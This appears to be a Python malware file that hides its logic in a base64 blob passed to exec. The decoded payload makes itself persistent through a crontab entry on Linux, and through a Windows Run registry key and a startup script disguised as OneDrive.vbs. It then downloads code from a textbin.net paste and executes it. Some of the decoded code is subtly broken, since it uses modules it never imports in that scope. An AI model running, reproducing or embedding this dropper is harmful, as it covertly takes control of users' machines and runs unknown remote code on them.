import base64 exec(base64.b64decode(b'aW1wb3J0IG9zCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBwbGF0Zm9ybQpPUyA9ICJsIiBpZiAibGludXgiIGluIHBsYXRmb3JtLnBsYXRmb3JtKCkubG93ZXIoKSBlbHNlICJ3IgpkZWYgcGVyc2lzdCgpOgogICAgaWYgT1M9PSJsIjoKICAgICAgICBvcHQgPSAiIgogICAgICAgIHRyeToKICAgICAgICAgICAgb3B0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJiYXNoIiwiLWMiLCJjcm9udGFiIC1sIl0sc3RkZXJyPSIvZGV2L251bGwiKS5kZWNvZGUoKS5zdHJpcCgpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgICBwYXNzCiAgICAgICAgaWYgbm90IF9fZmlsZV9fIGluIG9wdDoKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgc2h1dGlsLmNvcHkob3MucGF0aC5qb2luKG9zLnBhdGguYWJzcGF0aCgiLiIpLF9fZmlsZV9fKSwgb3MucGF0aC5qb2luKG9zLnBhdGguZXhwYW5kdXNlcigifiIpLCAiLnN0YXJ0ZXIucHkiKSkKICAgICAgICAgICAgZXhjZXB0OgogICAgICAgICAgICAgICAgcGFzcwogICAgICAgICAgICBjbWQgPSAicHl0aG9uMyAiICsgb3MucGF0aC5qb2luKG9zLnBhdGguZXhwYW5kdXNlcigifiIpLCAiLnN0YXJ0ZXIucHkiKQogICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbImJhc2giLCItYyIsZiIoZWNobyBcXCogXFwqIFxcKiBcXCogXFwqIERJU1BMQVk9OjAge2NtZH07IGVjaG8ge29wdH0pIHwgIGNyb250YWIgIl0pCiAgICBlbHNlOgogICAgICAgIHRyeToKICAgICAgICAgICAgc2h1dGlsLmNvcHkob3MucGF0aC5qb2luKG9zLnBhdGguYWJzcGF0aCgiLiIpLF9fZmlsZV9fKSwgb3MucGF0aC5qb2luKG9zLnBhdGguZXhwYW5kdmFycygiJUFQUERBVEElIiksICIuc3RhcnRlci5weSIpKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcGFzcwogICAgICAgIGFkZHJlc3M9b3MucGF0aC5qb2luKG9zLnBhdGguZXhwYW5kdmFycygiJUFQUERBVEElIiksICIuc3RhcnRlci5weSIpCiAgICAgICAgCiAgICAgICAgaW1wb3J0IHdpbnJlZyBhcyByZWcgICAgCiAgICAgICAga2V5ID0gIkhLRVlfQ1VSUkVOVF9VU0VSIiAKICAgICAgICBrZXlfdmFsdWUgPSAiU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFJ1biIKICAgICAgICBfb3BlbiA9IHJlZy5PcGVuS2V5KHJlZy5IS0VZX0NVUlJFTlRfVVNFUixrZXlfdmFsdWUsMCxyZWcuS0VZX0FMTF9BQ0NFU1MpIAogICAgICAgIHJlZy5TZXRWYWx1ZUV4KF9vcGVuLCIuc3RhcnRlciIsMCxyZWcuUkVHX1NaLGYicHl3IHthZGRyZXNzfSIpIAogICAgICAgIHJlZy5DbG9zZUtleShfb3BlbikgCgogICAgICAgIHdpdGggb3Blbihvcy5wYXRoLmpvaW4ob3MucGF0aC5leHBhbmR2YXJzKCIlQVBQREFUQSUiKSwgIk1pY3Jvc29mdFxcV2luZG93c1xcU3RhcnQgTWVudVxcUHJvZ3JhbXNcXFN0YXJ0dXBcXE9uZURyaXZlLnZicyIpLCAidyIpIGFzIGY6CiAgICAgICAgICAgIGYud3JpdGUoJ1NldCBvU2hlbGwgPSBDcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVxuJykKICAgICAgICAgICAgZi53cml0ZShmJ29TaGVsbC5ydW4gInB5dyB7YWRkcmVzc30iJykKcGVyc2lzdCgpClVSTCA9ICJodHRwczovL3RleHRiaW4ubmV0L3Jhdy95ZHd3a2RqNWh5IgppbXBvcnQgdXJsbGliLnJlcXVlc3QKd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKFVSTCkgYXMgcmVzcG9uc2U6CiAgICByZXNwID0gcmVzcG9uc2UucmVhZCgpCiAgICBwYXRoID0gIiIKICAgIGlmIE9TID09ICJsIjoKICAgICAgICBwYXRoID0gb3MucGF0aC5qb2luKG9zLnBhdGguZXhwYW5kdXNlcigifiIpLCIuYXB0X3N0YWJsZS5weSIpCiAgICBlbHNlOgogICAgICAgIHBhdGggPSBvcy5wYXRoLmpvaW4ob3MucGF0aC5leHBhbmR2YXJzKCIlQVBQREFUQSUiKSwiLmFwdF9zdGFibGUucHkiKQoKICAgIHdpdGggb3BlbihwYXRoLCJ3YiIpIGFzIGY6CiAgICAgICAgZi53cml0ZShyZXNwKQoKICAgIGlmIE9TID09ICJsIjoKICAgICAgICBvcy5zeXN0ZW0oImNyb250YWIgLWwgfCBncmVwIC12IHN0YXJ0ZXIgfCBjcm9udGFiIikKICAgICAgICB0cnk6CiAgICAgICAgICAgIG9zLnN5c3RlbShmInB5dGhvbiB7cGF0aH0iKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgb3Muc3lzdGVtKGYicHl0aG9uMyB7cGF0aH0iKQogICAgZWxzZToKICAgICAgICBrZXkgPSAiSEtFWV9DVVJSRU5UX1VTRVIiIAogICAgICAgIGtleV92YWx1ZSA9ICJTb2Z0d2FyZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcUnVuIgogICAgICAgIF9vcGVuID0gcmVnLk9wZW5LZXkocmVnLkhLRVlfQ1VSUkVOVF9VU0VSLGtleV92YWx1ZSwwLHJlZy5LRVlfQUxMX0FDQ0VTUykgCiAgICAgICAgcmVnLkRlbGV0ZUtleShfb3BlbiwiLnN0YXJ0ZXIiKSAKICAgICAgICByZWcuQ2xvc2VLZXkoX29wZW4pCiAgICAgICAgdHJ5OgogICAgICAgICAgICBvcy5zeXN0ZW0oZiJweXcge3BhdGh9IikKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIG9zLnN5c3RlbShmInB5dyB7cGF0aH0iKQ=='))